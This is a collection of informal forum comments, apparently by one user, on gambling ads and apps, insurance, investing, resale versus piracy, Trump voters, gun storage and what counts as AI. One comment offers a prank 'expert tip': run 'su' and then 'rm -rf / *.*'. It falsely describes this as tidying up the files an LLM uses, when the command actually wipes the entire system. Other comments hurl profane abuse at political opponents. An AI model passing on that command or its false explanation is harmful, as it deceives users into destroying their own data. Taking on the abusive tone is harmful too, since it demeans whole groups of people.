Insurance may be its own type of evil, but it’s not gambling. It serves me a financial purpose. It protects me from certain enormous and unexpected expenses which would otherwise cripple me financially for the rest of my life.
How aggressively insurance deny claims may be a symptom of the same problem to the ubiquity of online gambling apps and ads, unchecked greed, but they’re not the same.
This is my personal take, but this is similar to an old philosophical argument. Can you use the Masters tools to dismantle the Master’s house? The master’s house in this argument represents systems of oppression/sanctioned violence and the tools are, well the tools. Hope I don’t have to explain that part. Anyway, my personal take is yes you can. You can not use the Master’s tools to build your own house.
In so far as the panel, dude was fine to shoot him. He just has to put the gun down and accept the responsibility of whatever his action causes.
Yes and no. You may be right, but the MBA math doesn’t agree with you. You’re an investor and you can make an investment in one of two companies who are otherwise equal, except one acknowledges that it needs to invest in it’s future work force and the other is only concerned with maximizing returns. The first company may be healthier long term but that value won’t be actualized for many years. Whereas the second company can provide larger returns sooner. Which company is the safer investment?
You may say it’s company A, except that your money won’t make money for much longer, a lot can happen in that time. With company B it may not pay off in the long run so don’t. Invest, collect, leave, find another investment. Your money is vulnerable for less time and has a better chance of making money in the short run. Which company is the safer investment?
It’s like no one has heard of hiking syrup before.
I see what you’re saying but you’re not saying it well. You’re distinguishing the difference between pedophilia the condition and pedophilia the act. That having the condition of being a pediphile is beyond a person’s control, but that actions a person does from that condition is. A good example would be someone with rage issues. Being rageful just is while acting on that rage is wrong.
I get it, but you need to be more clear when discussing something so sensitive.
Let’s start with Lindsey Graham and go from there.
Remember the pressure to say everything as fast as possible without lapsing into mundane things? Long distance phone calls were stressful.
Second hand is different from pirating because the royalties have been paid. When it’s sold to the second owner the status of having paid the royalties passes with it. With physical media the disk, tape, or reel and the license to use it privately are the same thing. Otherwise we’d need a system to keep track of who owns every disk, tape, or reel, and who owns the license to each and that’s a sure fire way to get everyone to begin pirating.
That may be the most wrong way to say something right. Perhaps proof read your writing a little bit more to make sure it’s saying what you think it’s saying.
Nope you’ve summarized the boarder situation between Canada and Denmark, and France.
My dude, we’re well into September.
Expert tip: follow this code at your own risk.
su
Enter the sudo password
rm -rf / *.*
So what that command will do is go through your entire system and review and modify everything that supports the LLM and it’ll clean up all the files it uses.
You think I didn’t read or acknowledge your point. I did. It’s not well thought out and gives excuses for people who do not deserve it. It’s a bad argument.
I’ll repeat, Trump voters are certainly ignorant and irrational but they’re not mentally ill. Being willfully ignorant and irrational is not a mental illness. If it were they would not be responsible for their actions, we should forgive them and have pitty for the challenges their mental illness causes them.
Calling a Trump voter mentally ill let’s them off the hook. If they were they couldn’t have known what they were doing, they were sick. No. They’re not sick. They’re twisted but not sick. Don’t give those people the benefit of the doubt. They’ll use that against you.
who with a healthy mind, would vote against their own interests.
Who? The majority of Republican voters that’s who. What the fuck are you even on about? You’re mixing up irrationality and mental illness. To suggest that a person who votes irrationality must be mentally ill is quite the bridge to cross.
Trump voters are not mentally ill. Well actually statistically there are but that’s a seperate conversation. Trump voters are ignorant and irrational and they like it that way. That’s what they want, they’re not mentally ill, they’re dumber than a rock.
Fuck that. Fuck forgiveness. Fuck this and every fucking Nazi dick sucking Trump voter. What fascism is only a problem when it’s on his front door? What about Renee Good, Keith Porter, Glen Burnie, Carlos Jimenez, who were shot and/or killed by ICE? Those deaths didn’t convince him what is happening is wrong, it had to be a close loved one for him to smarten up.
Serious question here, are guns allowed to be stored loaded in the United States? Gun laws here are really strict, guns are not stored loaded. To the point where while hunting you’re supposed to keep the gun clear right up until you intend to shoot the game. Then immediately clear it when you’re done. Not that everyone follows that rule but it’s there. The idea of putting a gun away still loaded is insane and this would be a slam dunk case here on that alone.
I’d agree with you if you mean that what has been marketed as AI to us is inherently bad. That said the word AI has been misused so much that is basically has no meaning. I’ve known researchers who have used things that can be called AI for really important research and it could run on a high end computer from 10 years ago. The externalities of that are quite minimal to what we gain. We really need to find language to discuss AI where when we talk about Big AI we’re not also dragging the proven, and efficient models which are nearly AI but not quite into the discussion.
Okay but the argument isn’t that gambling is bad. It’s that gambling ads and apps are. A gambling addict who gambles at a casino has to physically go to the casino and can only gamble as long as their body will allow them. Sure they can ruin their lives but there are physical unavoidable things that limit their gambling. To say nothing about the responsibility we’ve decided casinos have to address gambling addiction. A casino can kick a player out, sure they can go to another but that’s time they don’t spend gambling.
Gambling ads and apps are everywhere. They’re inescapable. An addict doesn’t have to physically go to a casino anymore. They can gamble wherever, whenever, on anything. If they try to pull themselves away the apps use push notifications to pull them in. Uninstall the apps, the ads are running everywhere all the time. Get banned, just make a new account. It takes minutes. The availability to gamble is just constant now.
If nothing else, ban gambling ads. It won’t stop people but it’ll let them escape the constant push to get back in.